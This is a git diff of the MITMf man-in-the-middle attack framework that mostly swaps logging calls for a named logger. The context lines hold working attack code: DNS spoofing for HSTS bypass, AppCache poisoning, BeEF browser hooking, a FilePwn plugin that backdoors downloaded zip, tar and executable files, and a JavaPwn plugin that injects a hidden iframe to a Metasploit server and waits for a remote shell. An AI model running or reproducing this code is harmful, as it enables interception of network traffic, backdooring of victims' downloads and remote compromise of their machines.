def resolve_domain(self, domain): def resolve_domain(self, domain):
try: try:
logging.debug("Resolving -> %s" % domain) mitmf_logger.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A') answer = dns.resolver.query(domain, 'A')
real_ips = [] real_ips = []
for rdata in answer: for rdata in answer:
@ -302,11 +305,11 @@ class _DNS():
return real_ips return real_ips
except Exception: except Exception:
logging.info("Error resolving " + domain) mitmf_logger.info("Error resolving " + domain)
def callback(self, payload): def callback(self, payload):
try: try:
#logging.debug(payload) #mitmf_logger.debug(payload)
pkt = IP(payload.get_payload()) pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR): if not pkt.haslayer(DNSQR):
@ -314,7 +317,7 @@ class _DNS():
return return
if pkt.haslayer(DNSQR): if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns: if self.dns:
for k, v in self.dnscfg.items(): for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname: if k in pkt[DNSQR].qname:
@ -359,13 +362,13 @@ class _DNS():
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip: for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt)) payload.set_payload(str(spoofed_pkt))
payload.accept() payload.accept()
if self.dns: if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(spoofed_pkt)) payload.set_payload(str(spoofed_pkt))
payload.accept() payload.accept()

1
libs/dnschef Submodule

@ -0,0 +1 @@
Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af

1
logs/.gitignore vendored
View file

@ -1,3 +1,4 @@
* *
!.gitignore !.gitignore
!responder/ !responder/
!dnschef/

2
logs/dnschef/.gitignore vendored Normal file
View file

@ -0,0 +1,2 @@
*
!.gitignore

View file

@ -60,7 +60,7 @@ parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM att
mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use")
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
#added by alexander.georgiev@daloo.de #added by alexander.georgiev@daloo.de
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
@ -147,11 +147,11 @@ log_level = logging.__dict__[args.log_level.upper()]
#Start logging #Start logging
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
rootLogger = logging.getLogger() mitmf_logger = logging.getLogger('mitmf')
fileHandler = logging.FileHandler("./logs/mitmf.log") fileHandler = logging.FileHandler("./logs/mitmf.log")
fileHandler.setFormatter(logFormatter) fileHandler.setFormatter(logFormatter)
rootLogger.addHandler(fileHandler) mitmf_logger.addHandler(fileHandler)
##################################################################################################### #####################################################################################################
@ -173,6 +173,7 @@ for p in plugins:
if p.output: if p.output:
for line in p.output: for line in p.output:
print "| |_ %s" % line print "| |_ %s" % line
p.output.remove(line)
except Exception, e: except Exception, e:
print "[-] Error loading plugin %s: %s" % (p.name, str(e)) print "[-] Error loading plugin %s: %s" % (p.name, str(e))

View file

@ -30,6 +30,8 @@ from plugins.plugin import Plugin
from datetime import date from datetime import date
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf')
class AppCachePlugin(Plugin): class AppCachePlugin(Plugin):
name = "App Cache Poison" name = "App Cache Poison"
optname = "appoison" optname = "appoison"
@ -61,22 +63,22 @@ class AppCachePlugin(Plugin):
if "enable_only_in_useragents" in self.config: if "enable_only_in_useragents" in self.config:
regexp = self.config["enable_only_in_useragents"] regexp = self.config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]): if regexp and not re.search(regexp,req_headers["user-agent"]):
logging.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
return {'request': request, 'data': data} return {'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url) urls = self.urlMonitor.getRedirectionSet(url)
logging.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
(name,s,element,url) = self.getSectionForUrls(urls) (name,s,element,url) = self.getSectionForUrls(urls)
if s is False: if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip) data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'request': request, 'data': data} return {'request': request, 'data': data}
logging.info("%s Found URL %s in section %s" % (ip, url, name)) mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
p = self.getTemplatePrefix(s) p = self.getTemplatePrefix(s)
if element == 'tamper': if element == 'tamper':
logging.info("%s Poisoning tamper URL with template %s" % (ip, p)) mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
if os.path.exists(p + '.replace'): # replace whole content if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r') f = open(p + '.replace','r')
data = self.decorate(f.read(), s) data = self.decorate(f.read(), s)
@ -93,12 +95,12 @@ class AppCachePlugin(Plugin):
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data) data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest": elif element == "manifest":
logging.info("%s Poisoning manifest URL" % ip) mitmf_logger.info("%s Poisoning manifest URL" % ip)
data = self.getSpoofedManifest(url, s) data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html elif element == "raw": # raw resource to modify, it does not have to be html
logging.info("%s Poisoning raw URL" % ip) mitmf_logger.info("%s Poisoning raw URL" % ip)
if os.path.exists(p + '.replace'): # replace whole content if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r') f = open(p + '.replace','r')
data = self.decorate(f.read(), s) data = self.decorate(f.read(), s)
@ -131,7 +133,7 @@ class AppCachePlugin(Plugin):
if not re.search(self.config['mass_poison_url_match'], url): #different url if not re.search(self.config['mass_poison_url_match'], url): #different url
return data return data
logging.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id)) mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
appendix = self.getMassPoisonHtml() appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data) data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip

View file

@ -31,6 +31,8 @@ from time import sleep
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING) requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf')
class BeefAutorun(Inject, Plugin): class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun" name = "BeEFAutorun"
optname = "beefauto" optname = "beefauto"
@ -83,7 +85,7 @@ class BeefAutorun(Inject, Plugin):
if session not in already_hooked: if session not in already_hooked:
info = beef.hook_info(session) info = beef.hook_info(session)
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
already_hooked.append(session) already_hooked.append(session)
self.black_ips.append(str(info['ip'])) self.black_ips.append(str(info['ip']))
@ -106,17 +108,17 @@ class BeefAutorun(Inject, Plugin):
hook_os = session_info['os'] hook_os = session_info['os']
if len(self.All_modules) > 0: if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip) mitmf_logger.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.iteritems(): for module, options in self.All_modules.iteritems():
mod_id = beef.module_id(module) mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options)) resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true': if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id)) mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
else: else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5) sleep(0.5)
logging.info("%s >> sending targeted modules" % session_ip) mitmf_logger.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules: for os in self.Targeted_modules:
if (os in hook_os) or (os == hook_os): if (os in hook_os) or (os == hook_os):
browsers = self.Targeted_modules[os] browsers = self.Targeted_modules[os]
@ -129,7 +131,7 @@ class BeefAutorun(Inject, Plugin):
mod_id = beef.module_id(module) mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options)) resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true': if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id)) mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id))
else: else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5) sleep(0.5)

View file

@ -23,6 +23,8 @@ from plugins.Inject import Inject
from pprint import pformat from pprint import pformat
import logging import logging
mitmf_logger = logging.getLogger('mitmf')
class BrowserProfiler(Inject, Plugin): class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler" name = "Browser Profiler"
optname = "browserprofiler" optname = "browserprofiler"
@ -53,7 +55,7 @@ class BrowserProfiler(Inject, Plugin):
if self.dic_output['plugin_list'] > 0: if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output) pretty_output = pformat(self.dic_output)
logging.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
def get_payload(self): def get_payload(self):
payload = """<script type="text/javascript"> payload = """<script type="text/javascript">

View file

@ -18,43 +18,40 @@
# USA # USA
# #
""" # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' #
# Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com
Author Joshua Pitts the.midnite.runr 'at' gmail <d ot > com #
# Copyright (c) 2013-2014, Joshua Pitts
Copyright (c) 2013-2014, Joshua Pitts # All rights reserved.
All rights reserved. #
# Redistribution and use in source and binary forms, with or without modification,
Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met:
are permitted provided that the following conditions are met: #
# 1. Redistributions of source code must retain the above copyright notice,
1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer.
this list of conditions and the following disclaimer. #
# 2. Redistributions in binary form must reproduce the above copyright notice,
2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation
this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution.
and/or other materials provided with the distribution. #
# 3. Neither the name of the copyright holder nor the names of its contributors
3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without
may be used to endorse or promote products derived from this software without # specific prior written permission.
specific prior written permission. #
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE.
POSSIBILITY OF SUCH DAMAGE. #
# Tested on Kali-Linux.
Tested on Kali-Linux.
"""
import sys import sys
import os import os
@ -74,6 +71,8 @@ from plugins.plugin import Plugin
from tempfile import mkstemp from tempfile import mkstemp
from configobj import ConfigObj from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf')
class FilePwn(Plugin): class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
@ -303,7 +302,7 @@ class FilePwn(Plugin):
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size" print "[!] TarFile over allowed size"
logging.info("TarFIle maxSize met %s", len(aTarFileBytes)) mitmf_logger.info("TarFIle maxSize met %s", len(aTarFileBytes))
self.patched.put(aTarFileBytes) self.patched.put(aTarFileBytes)
return return
@ -375,7 +374,7 @@ class FilePwn(Plugin):
if keywordCheck is True: if keywordCheck is True:
print "[!] Tar blacklist enforced!" print "[!] Tar blacklist enforced!"
logging.info('Tar blacklist enforced on %s', info.name) mitmf_logger.info('Tar blacklist enforced on %s', info.name)
continue continue
# Try to patch # Try to patch
@ -396,16 +395,16 @@ class FilePwn(Plugin):
info.size = os.stat(file2).st_size info.size = os.stat(file2).st_size
with open(file2, 'rb') as f: with open(file2, 'rb') as f:
newTarFile.addfile(info, f) newTarFile.addfile(info, f)
logging.info("%s in tar patched, adding to tarfile", info.name) mitmf_logger.info("%s in tar patched, adding to tarfile", info.name)
os.remove(file2) os.remove(file2)
wasPatched = True wasPatched = True
else: else:
print "[!] Patching failed" print "[!] Patching failed"
with open(tmp.name, 'rb') as f: with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f) newTarFile.addfile(info, f)
logging.info("%s patching failed. Keeping original file in tar.", info.name) mitmf_logger.info("%s patching failed. Keeping original file in tar.", info.name)
if patchCount == int(self.userConfig['TAR']['patchCount']): if patchCount == int(self.userConfig['TAR']['patchCount']):
logging.info("Met Tar config patchCount limit.") mitmf_logger.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first # finalize the writing of the tar file first
newTarFile.close() newTarFile.close()
@ -431,7 +430,7 @@ class FilePwn(Plugin):
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size" print "[!] ZipFile over allowed size"
logging.info("ZipFIle maxSize met %s", len(aZipFile)) mitmf_logger.info("ZipFIle maxSize met %s", len(aZipFile))
self.patched.put(aZipFile) self.patched.put(aZipFile)
return return
@ -452,7 +451,7 @@ class FilePwn(Plugin):
except RuntimeError as e: except RuntimeError as e:
if 'encrypted' in str(e): if 'encrypted' in str(e):
logging.info('Encrypted zipfile found. Not patching.') mitmf_logger.info('Encrypted zipfile found. Not patching.')
return aZipFile return aZipFile
print "[*] ZipFile contents and info:" print "[*] ZipFile contents and info:"
@ -488,7 +487,7 @@ class FilePwn(Plugin):
if keywordCheck is True: if keywordCheck is True:
print "[!] Zip blacklist enforced!" print "[!] Zip blacklist enforced!"
logging.info('Zip blacklist enforced on %s', info.filename) mitmf_logger.info('Zip blacklist enforced on %s', info.filename)
continue continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
@ -498,17 +497,17 @@ class FilePwn(Plugin):
file2 = "backdoored/" + os.path.basename(info.filename) file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file." print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename) shutil.copyfile(file2, tmpDir + '/' + info.filename)
logging.info("%s in zip patched, adding to zipfile", info.filename) mitmf_logger.info("%s in zip patched, adding to zipfile", info.filename)
os.remove(file2) os.remove(file2)
wasPatched = True wasPatched = True
else: else:
print "[!] Patching failed" print "[!] Patching failed"
logging.info("%s patching failed. Keeping original file in zip.", info.filename) mitmf_logger.info("%s patching failed. Keeping original file in zip.", info.filename)
print '-' * 10 print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
logging.info("Met Zip config patchCount limit.") mitmf_logger.info("Met Zip config patchCount limit.")
break break
zippyfile.close() zippyfile.close()
@ -547,7 +546,7 @@ class FilePwn(Plugin):
if content_header in self.zipMimeTypes: if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'): if self.bytes_have_format(data, 'zip'):
logging.info("%s Detected supported zip file type!" % client_ip) mitmf_logger.info("%s Detected supported zip file type!" % client_ip)
process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process = multiprocessing.Process(name='zip', target=self.zip, args=(data,))
process.daemon = True process.daemon = True
@ -556,13 +555,13 @@ class FilePwn(Plugin):
bd_zip = self.patched.get() bd_zip = self.patched.get()
if bd_zip: if bd_zip:
logging.info("%s Patching complete, forwarding to client" % client_ip) mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_zip} return {'request': request, 'data': bd_zip}
else: else:
for tartype in ['gz','bz','tar']: for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype): if self.bytes_have_format(data, tartype):
logging.info("%s Detected supported tar file type!" % client_ip) mitmf_logger.info("%s Detected supported tar file type!" % client_ip)
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True process.daemon = True
@ -571,14 +570,14 @@ class FilePwn(Plugin):
bd_tar = self.patched.get() bd_tar = self.patched.get()
if bd_tar: if bd_tar:
logging.info("%s Patching complete, forwarding to client" % client_ip) mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_tar} return {'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes: elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']: for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype): if self.bytes_have_format(data, bintype):
logging.info("%s Detected supported binary type!" % client_ip) mitmf_logger.info("%s Detected supported binary type!" % client_ip)
fd, tmpFile = mkstemp() fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f: with open(tmpFile, 'w') as f:
f.write(data) f.write(data)
@ -592,9 +591,9 @@ class FilePwn(Plugin):
if patchb: if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile)) os.remove('./backdoored/' + os.path.basename(tmpFile))
logging.info("%s Patching complete, forwarding to client" % client_ip) mitmf_logger.info("%s Patching complete, forwarding to client" % client_ip)
return {'request': request, 'data': bd_binary} return {'request': request, 'data': bd_binary}
else: else:
logging.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header)) mitmf_logger.debug("%s File is not of supported Content-Type: %s" % (client_ip, content_header))
return {'request': request, 'data': data} return {'request': request, 'data': data}

View file

@ -28,6 +28,8 @@ import argparse
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger('mitmf')
class Inject(CacheKill, Plugin): class Inject(CacheKill, Plugin):
name = "Inject" name = "Inject"
optname = "inject" optname = "inject"
@ -87,7 +89,7 @@ class Inject(CacheKill, Plugin):
self.ctable[ip] = time.time() self.ctable[ip] = time.time()
self.dtable[ip+hn] = True self.dtable[ip+hn] = True
self.count += 1 self.count += 1
logging.info("%s [%s] Injected malicious html" % (ip, hn)) mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
return {'request': request, 'data': data} return {'request': request, 'data': data}
else: else:
return return

View file

@ -35,6 +35,7 @@ from scapy.all import get_if_addr
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING) requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf')
class JavaPwn(BrowserProfiler, Plugin): class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn" name = "JavaPwn"
@ -118,10 +119,10 @@ class JavaPwn(BrowserProfiler, Plugin):
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe #inject iframe
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip)
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip) mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
exit = False exit = False
i = 1 i = 1
@ -132,7 +133,7 @@ class JavaPwn(BrowserProfiler, Plugin):
if len(shell) > 0: if len(shell) > 0:
for k, v in shell.iteritems(): for k, v in shell.iteritems():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip) mitmf_logger.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited :) self.sploited_ips.append(client_ip) #target successfuly exploited :)
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
exit = True exit = True
@ -141,13 +142,13 @@ class JavaPwn(BrowserProfiler, Plugin):
i += 1 i += 1
if exit is False: #We didn't get a shell :( if exit is False: #We didn't get a shell :(
logging.info("%s >> session not established after 30 seconds" % client_ip) mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def send_command(self, cmd, msf, vic_ip): def send_command(self, cmd, msf, vic_ip):
try: try:
logging.info("%s >> sending commands to metasploit" % vic_ip) mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip)
#Create a virtual console #Create a virtual console
console_id = msf.call('console.create')['id'] console_id = msf.call('console.create')['id']
@ -155,9 +156,9 @@ class JavaPwn(BrowserProfiler, Plugin):
#write the cmd to the newly created console #write the cmd to the newly created console
msf.call('console.write', [console_id, cmd]) msf.call('console.write', [console_id, cmd])
logging.info("%s >> commands sent succesfully" % vic_ip) mitmf_logger.info("%s >> commands sent succesfully" % vic_ip)
except Exception, e: except Exception, e:
logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
def pwn(self, msf): def pwn(self, msf):
while True: while True:
@ -169,19 +170,19 @@ class JavaPwn(BrowserProfiler, Plugin):
vic_ip = brwprofile['ip'] vic_ip = brwprofile['ip']
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
logging.info("%s >> Choosing exploit based on version string" % vic_ip) mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip)
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
if exploits: if exploits:
if len(exploits) > 1: if len(exploits) > 1:
logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
exploit = random.choice(exploits) exploit = random.choice(exploits)
logging.info("%s >> choosing %s" %(vic_ip, exploit)) mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit))
else: else:
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
exploit = exploits[0] exploit = exploits[0]
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason #here we check to see if we already set up the exploit to avoid creating new jobs for no reason
@ -190,7 +191,7 @@ class JavaPwn(BrowserProfiler, Plugin):
for k, v in jobs.iteritems(): for k, v in jobs.iteritems():
info = msf.call('job.info', [k]) info = msf.call('job.info', [k])
if exploit in info['name']: if exploit in info['name']:
logging.info('%s >> %s already started' % (vic_ip, exploit)) mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit))
url = info['uripath'] #get the url assigned to the exploit url = info['uripath'] #get the url assigned to the exploit
self.injectWait(msf, url, vic_ip) self.injectWait(msf, url, vic_ip)
@ -207,15 +208,15 @@ class JavaPwn(BrowserProfiler, Plugin):
cmd += "set LPORT %s\n" % rand_port cmd += "set LPORT %s\n" % rand_port
cmd += "exploit -j\n" cmd += "exploit -j\n"
logging.debug("command string:\n%s" % cmd) mitmf_logger.debug("command string:\n%s" % cmd)
self.send_command(cmd, msf, vic_ip) self.send_command(cmd, msf, vic_ip)
self.injectWait(msf, rand_url, vic_ip) self.injectWait(msf, rand_url, vic_ip)
else: else:
